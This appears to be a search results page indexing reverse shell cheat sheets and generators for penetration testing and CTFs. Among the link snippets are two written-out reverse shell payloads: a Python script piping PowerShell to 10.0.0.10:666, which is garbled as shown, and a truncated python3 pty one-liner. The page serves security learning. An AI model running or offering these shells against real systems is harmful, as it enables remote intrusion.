🌐
pentestmonkey
pentestmonkey.net › cheat-sheet › shells › reverse-shell-cheat-sheet
Reverse Shell Cheat Sheet | pentestmonkey
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server.
🌐
Pentestmonkey
pentestmonkey.net › tag › python
python | pentestmonkey
Shells bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm, Comments Off on Reverse Shell Cheat Sheet
🌐
GitHub
github.com › Keramas › ReverseShellCheatSheet
GitHub - Keramas/ReverseShellCheatSheet: Python script to generate reverse shells based on Pentestmonkey's reverse shell cheat sheet. · GitHub
Python script to generate reverse shells based on Pentestmonkey's reverse shell cheat sheet. - Keramas/ReverseShellCheatSheet
Author   Keramas
🌐
Flast101
flast101.github.io › reverse-shell-cheatsheet
reverse-shell-cheatsheet | My Reverse Shell Cheat Sheet
import os, socket, subprocess, threading, sys def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((10.0.0.10, 666)); break except: pass p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0) try: p.wait() except KeyboardInterrupt: s.close()
🌐
RevShells
revshells.com
Online - Reverse Shell Generator
Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.
🌐
ropnop blog
blog.ropnop.com › home › upgrading simple shells to fully interactive t t ys
Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog
July 10, 2017 - For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server (“VICTIM”) and catching shells from my Kali VM (“KALI”): ... The problem is not every server has netcat installed, and not every version of netcat has the -e option. Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit’s msfvenom to generate the one-liner commands for me. Metasploit has several payloads under “cmd/unix” that can be used to generate one-liner bind or reverse shells:
🌐
Pentestmonkey
pentestmonkey.net › tag › reverseshell
reverseshell | pentestmonkey
Shells bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm, Comments Off on Reverse Shell Cheat Sheet
🌐
High on Coffee
highon.coffee › blog › reverse-shell-cheat-sheet
Reverse Shell Cheat Sheet: PHP, ASP, Netcat, Bash & Python
February 27, 2022 - Reverse Shell Cheat Sheet (Updated: 2024), a list of reverse shells for connecting back on Linux/Windows with PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PS etc.
Find elsewhere
🌐
GitHub
github.com › swisskyrepo › PayloadsAllTheThings › blob › master › Methodology and Resources › Reverse Shell Cheatsheet.md
PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings
Author   swisskyrepo
🌐
Payloads All The Things
swisskyrepo.github.io › InternalAllTheThings › cheatsheets › shell-reverse-cheatsheet
Reverse Shell Cheat Sheet - Internal All The Things
or use socat binary to get a fully tty reverse shell ... Alternatively, rustcat binary can automatically inject the TTY shell command. The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
🌐
Yeah Hub
yeahhub.com › home › getting reverse shell with php, python, perl and bash
Getting Reverse Shell with PHP, Python, Perl and Bash - Yeah Hub
July 30, 2025 - Bash Reverse Shell getting reverse shell getting reverse shell with Bash getting reverse shell with Perl getting reverse shell with PHP getting reverse shell with python Perl Reverse Shell PHP Reverse Shell Python Reverse Shell Reverse Shell Reverse Shell Bin Bash Reverse Shell Cheat Sheet Reverse Shell Cheatsheet Reverse Shell highon coffee Reverse Shell Linux Reverse Shell list Reverse Shell Netcat Reverse Shell Pentesting Reverse Shell Pentestmonkey Reverse Shell Security Reverse shell tutorial Reverse Shell with screenshot Reverse Shell Yeahhub
🌐
PyPI
pypi.org › project › revshellgen
revshellgen · PyPI
PayloadsAllTheThings - Reverse shell references · ropnop - TTY upgrade techniques · PentestMonkey - Reverse shell cheat sheet · All contributors and users of this tool · Made with ❤️ by t0thkr1s Star ⭐ this repository if you find it useful! These details have been verified by PyPI ·
      » pip install revshellgen
    
Published   Aug 06, 2025
Version   2.0.0
🌐
Pentestmonkey
pentestmonkey.net › category › cheat-sheet
Cheat Sheets | pentestmonkey
If you’re lucky enough to find ... you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding […]...
🌐
PentestH
pentesth.com › home › projects › reverse shell
Reverse shell - PentestH
May 19, 2025 - export RHOST="IP"; export RPORT=443; python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")' · python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.S...
🌐
Scribd
scribd.com › document › 734621665 › Reverse-Shell-Cheat-Sheet-pentestmonkey
Pentestmonkey Reverse Shell Guide | PDF | Shell (Computing) | System Software
Reverse Shell Cheat Sheet _ pentestmonkey - Free download as PDF File (.pdf), Text File (.txt) or read online for free. The document provides examples of one-line commands that can be used to generate reverse shells on Unix-like systems for various scripting languages including Bash, Perl, Python, PHP, Ruby, and Java.
🌐
Pentestmonkey
pentestmonkey.net › category › cheat-sheet › shells
Shells | pentestmonkey
Shells bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm, Comments Off on Reverse Shell Cheat Sheet
🌐
Lucian Nitescu
nitesculucian.github.io › 2018 › 07 › 15 › reverse-shells-cheat-sheet
Reverse Shells Cheat Sheet | Lucian Nitescu
July 14, 2018 - https://highon.coffee/blog/reverse-shell-cheat-sheet/ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
🌐
The Python Code
thepythoncode.com › article › create-reverse-shell-python
How to Create a Reverse Shell in Python - The Python Code
In our Ethical Hacking with Python EBook, we have built an advanced reverse shell that has all of the features mentioned above; it can capture the target machine's screen and microphone, download and upload any file, and many more features.
🌐
HackTricks
book.hacktricks.xyz › generic-methodologies-and-resources › shells › linux
Reverse Shells - Linux | HackTricks
August 18, 2024 - Reverse Shells (Linux, Windows, MSFVenom) MSFVenom - CheatSheet · Reverse Shells - Windows · Reverse Shells - Linux · Expose local to the internet · Full TTYs · Search Exploits · Tunneling and Port Forwarding · 🐧Linux Hardening · Checklist - Linux Privilege Escalation ·